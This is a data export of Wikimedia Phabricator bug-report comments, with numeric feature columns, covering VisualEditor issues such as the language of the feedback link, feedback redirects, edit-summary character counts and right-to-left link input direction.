231917,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Related URL: https://gerrit.wikimedia.org/r/64498 (Gerrit Change I3804e6f91015ef9b8ae5196efb37475d714cd7d5),,,1368898661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3804e6f91015ef9b8ae5196efb37475d714cd7d5)
231915,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #5)
> Yes, that would fix this particular problem; my question is more as to
> whether
> the core tool should default for target link to be in the content language.

Based on what I see in the usage given above, you're giving a Title to core feedback tool, which points to a certain page, instead of a message name to core with feedback page name in that message.",,,1368814496,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,3.4482758620689653,0.7068965517241379,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Based on what I see in the usage given above, you're giving a Title to core feedback tool, which points to a certain page, instead of a message name to core with feedback page name in that message."
231911,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Yes, that would fix this particular problem; my question is more as to whether the core tool should default for target link to be in the content language.",,,1368813996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,23.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.096774193548387,0.9354838709677419,"Yes, that would fix this particular problem; my question is more as to whether the core tool should default for target link to be in the content language."
231905,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"But there is:

modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js:
		'title': new mw.Title( ve.msg( 'visualeditor-feedback-link' ) ),

shouldn't something like:

new mw.Title( ve.msg( 'visualeditor-feedback-link' ).inContentLanguage() )

be used?",,,1368813782,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3098591549295775,0.49295774647887325,"But there is:

modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js:
		'title': new mw.Title( ve.msg( 'visualeditor-feedback-link' ) ),

shouldn't something like:

new mw.Title( ve.msg( 'visualeditor-feedback-link' ).inContentLanguage() )

be used?"
231902,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #2)
> I'm not sure what ""core MW feedback tool"" means, but I was talking about the
> feedback feature for [[Wikipedia:VisualEditor/Feedback]].

Yes, this is a core MediaWiki feature, it just happens to be used by VisualEditor:

  resources/mediawiki/mediawiki.feedback.js",,,1368813471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,3.0,11.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.972972972972973,0.8648648648648649,"(In reply to comment #2)
QUOTE
QUOTE

Yes, this is a core MediaWiki feature, it just happens to be used by VisualEditor:

  resources/mediawiki/mediawiki.feedback.js"
231899,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"I'm not sure what ""core MW feedback tool"" means, but I was talking about the feedback feature for [[Wikipedia:VisualEditor/Feedback]].",,,1368813368,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.625,0.84375,"I'm not sure what ""core MW feedback tool"" means, but I was talking about the feedback feature for [[Wikipedia:VisualEditor/Feedback]]."
231894,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,(Is this a bug in the core MW feedback tool?),,,1368809941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,15.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.769230769230769,1.0,(Is this a bug in the core MW feedback tool?)
49729,[mediawiki.feedback.js] Feedback should follow redirect,"I tried to edit MediaWiki:Visualeditor-feedback-link on zhwp but it doesn't affect the feedback target page at all. Is that even the correct message to change?

I then turn the target page into a redirect, but feedback are still sent to that page without following the redirect.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1366979940,1419984894.0,PHID-USER-hoj4lurwi6bejyjy5qlp,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_description,resolved,True,c1,1,False,False,False,-10,,1.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,9.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.092105263157895,0.6447368421052632,"I tried to edit MediaWiki:Visualeditor-feedback-link on zhwp but it doesn't affect the feedback target page at all. Is that even the correct message to change?

I then turn the target page into a redirect, but feedback are still sent to that page without following the redirect.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
394258,[mediawiki.feedback.js] Feedback should follow redirect,Fixed in 96c4e453ecfaba9cc5dca904301981e9d6e3492b (https://gerrit.wikimedia.org/r/#/c/143171/).,,,1419984894,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_subcomment,,True,c1,3,True,,,78,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Fixed in 96c4e453ecfaba9cc5dca904301981e9d6e3492b (URL
231860,[mediawiki.feedback.js] Feedback should follow redirect,"(In reply to comment #0)
> I tried to edit MediaWiki:Visualeditor-feedback-link on zhwp but it doesn't
> affect the feedback target page at all. Is that even the correct message to
> change?

Yes, that is the correct message; you can set it for all zh-hans or zh-hant projects at [0] and [1] and it will respect it (once the software is updated).

[0] - https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hans&group=ext-visualeditor
[1] - https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hant&group=ext-visualeditor

> I then turn the target page into a redirect, but feedback are still sent to
> that page without following the redirect.

You're right; this is a bug in the feedback tool, which is part of MediaWiki core. Moving the bug there.",,,1366986213,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_subcomment,,True,c1,1,True,,,-10,,1.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,3.0,2.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,1.0,3.0,9.0,0.0,0.0,0.0,1.0,3.0,1.0,5.0,0.0,5.0,7.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,6.0,2.82,0.59,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Yes, that is the correct message; you can set it for all zh-hans or zh-hant projects at [0] and [1] and it will respect it (once the software is updated).

[0] - URL
[1] - URL

QUOTE
QUOTE

You're right; this is a bug in the feedback tool, which is part of MediaWiki core. Moving the bug there."
49718,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,"Try typing non-ASCII characters in the VisualEditor edit summary field. For example, just type the Russian letter ж continuously. Towards the end it won't stop at 0, but at -1. Example screenshot from the Hebrew Wikipedia: http://j.mp/ZoQKX6 .

This should be handled in a cleaner way. Either disallow typing anything that would go beyond zero, or allow all text to go beyond zero, as in Twitter or MoodBar.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1366970520,1368885077.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-pruvovx7b4nd6obededc,task_description,resolved,True,c1,1,False,False,True,-10,,1.0,1.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,16.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,1.0,3.97,0.7,"Try typing non-ASCII characters in the VisualEditor edit summary field. For example, just type the Russian letter ж continuously. Towards the end it won't stop at 0, but at -1. Example screenshot from the Hebrew Wikipedia: URL .

This should be handled in a cleaner way. Either disallow typing anything that would go beyond zero, or allow all text to go beyond zero, as in Twitter or MoodBar.

--------------------------
**Version**: unspecified
**Severity**: minor"
231176,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,Merged; will go out with wmf5.,,,1368885077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pruvovx7b4nd6obededc,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
231172,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,"Fixed in https://gerrit.wikimedia.org/r/#/c/64342/

To clarify, we aren't letting people go over the limit, we just aren't updating the counter after keyup. (If you get to -1 then press an arrow key, you'll see you're actually under the limit).",,,1368812163,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pruvovx7b4nd6obededc,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,4.0,0.0,10.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,14.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.4,0.78,"Fixed in URL

To clarify, we aren't letting people go over the limit, we just aren't updating the counter after keyup. (If you get to -1 then press an arrow key, you'll see you're actually under the limit)."
49717,VisualEditor: Link inspector input text always has LTR direction,"Steps:

1. Write some text in VisualEditor in the Hebrew Wikipedia.

2. Select a word.

3. Press the link button in the toolbar. A small link insertion panel appears.

Observed: The direction of the <input> element for the link is ltr.

Expected: The direction of the <input> element for the link is supposed to be rtl.

Comment: It does make sense to set ltr direction by default for external links (http://www.example.com). For internal links the default direction should be the same as that of that Wikipedia's content language.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1366970040,1367529320.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-bwileoq2fxrn6ez262yc,task_description,resolved,True,c1,1,False,False,True,-10,,0.5,0.0,0.0,1.0,0.0,5.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,0.0,0.0,13.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,3.0,11.5,0.0,0.0,9.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.0,9.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.7954545454545454,0.6363636363636364,"Steps:

1. Write some text in VisualEditor in the Hebrew Wikipedia.

2. Select a word.

3. Press the link button in the toolbar. A small link insertion panel appears.

Observed: The direction of the <input> element for the link is ltr.

Expected: The direction of the <input> element for the link is supposed to be rtl.

Comment: It does make sense to set ltr direction by default for external links (URL For internal links the default direction should be the same as that of that Wikipedia's content language.

--------------------------
**Version**: unspecified
**Severity**: normal"
231124,VisualEditor: Link inspector input text always has LTR direction,Merged in Moriel's fix (thanks!).,,,1367529320,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,1.0,Merged in Moriel's fix (thanks!).
231114,VisualEditor: Link inspector input text always has LTR direction,Related URL: https://gerrit.wikimedia.org/r/61960 (Gerrit Change Ic13b9c3b155ce2979298cac9518c7419b9d45bac),,,1367480866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic13b9c3b155ce2979298cac9518c7419b9d45bac)
231104,VisualEditor: Link inspector input text always has LTR direction,Moriel wants to take a stab at this one; assigning.,,,1367377382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,Moriel wants to take a stab at this one; assigning.
231095,VisualEditor: Link inspector input text always has LTR direction,"(In reply to comment #1)
> Eurgh. That's a real mess of a user interaction - in an RTL locale, it starts
> as RTL, but then you type enough of a string that looks a bit like
> ""http?://www"" it magically switches to LTR?

This is not such a mess as a matter of fact. This works very well in GMail chat, for example. If you start typing Hebrew characters, it switches the input box to RTL and vice versa. It also goes further: if you type a few Hebrew characters, and then a lot of Latin characters, it switches to LTR.

BUT -and this is very important- it is not forced: the user can switch the direction later manually. In most Windows browsers it's done using Ctrl-Shift, in Firefox on Windows and GNU/Linux it's done using Ctrl-Shift-X. I don't know about Mac browsers, but it's probably something similar. (I do know that it's impossible on Chrome in Linux, which is why I almost never use it.)

> What about when your wiki page that
> you're internally linking to is [[http://www.amazon.com]] - do you show as
> LTR
> even though it's actually an internal link? How does this get handled in
> other
> software?

Same as above, essentially. One thing that could help here would be a possibility to specify the language of the page and of the title, as in bug 34514. But that's extra icing. For a link insertion dialog it is enough to do automatic detection with a possibility to override manually.",,,1367300169,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,False,,,-9,,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,4.0,1.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,7.666666666666667,10.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,10.666666666666666,1.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,2.3333333333333335,15.0,1.3333333333333333,2.3333333333333335,7.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,1.0,0.0,5.333333333333333,10.0,7.0,0.0,0.0,0.0,5.333333333333333,0.0,1.0,2.6666666666666665,0.0,1.0,0.0,0.3333333333333333,0.0,3.6023662551440334,0.680349794238683,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

This is not such a mess as a matter of fact. This works very well in GMail chat, for example. If you start typing Hebrew characters, it switches the input box to RTL and vice versa. It also goes further: if you type a few Hebrew characters, and then a lot of Latin characters, it switches to LTR.

BUT -and this is very important- it is not forced: the user can switch the direction later manually. In most Windows browsers it's done using Ctrl-Shift, in Firefox on Windows and GNU/Linux it's done using Ctrl-Shift-X. I don't know about Mac browsers, but it's probably something similar. (I do know that it's impossible on Chrome in Linux, which is why I almost never use it.)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Same as above, essentially. One thing that could help here would be a possibility to specify the language of the page and of the title, as in bug 34514. But that's extra icing. For a link insertion dialog it is enough to do automatic detection with a possibility to override manually."
231087,VisualEditor: Link inspector input text always has LTR direction,"(In reply to comment #0)
> Comment: It does make sense to set ltr direction by default for external
> links (http://www.example.com). For internal links the default direction should
> be the same as that of that Wikipedia's content language.

Eurgh. That's a real mess of a user interaction - in an RTL locale, it starts as RTL, but then you type enough of a string that looks a bit like ""http?://www"" it magically switches to LTR? What about when your wiki page that you're internally linking to is [[http://www.amazon.com]] - do you show as LTR even though it's actually an internal link? How does this get handled in other software?",,,1367286968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,3.0,2.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,11.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,13.0,4.0,1.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,7.0,14.0,8.0,3.0,2.0,0.0,7.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,2.0,3.4545454545454546,0.7272727272727273,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Eurgh. That's a real mess of a user interaction - in an RTL locale, it starts as RTL, but then you type enough of a string that looks a bit like ""http?://www"" it magically switches to LTR? What about when your wiki page that you're internally linking to is [[URL - do you show as LTR even though it's actually an internal link? How does this get handled in other software?"
49684,"VisualEditor: VE tab is on the left (not right) of the ""edit source"" tab in RTL languages","

--------------------------
**Version**: unspecified
**Severity**: trivial",Medium,50.0,1366932480,1368639099.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-k5ivcykbmehlps6rrqj3,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.5,"

--------------------------
**Version**: unspecified
**Severity**: trivial"
228628,"VisualEditor: VE tab is on the left (not right) of the ""edit source"" tab in RTL languages","

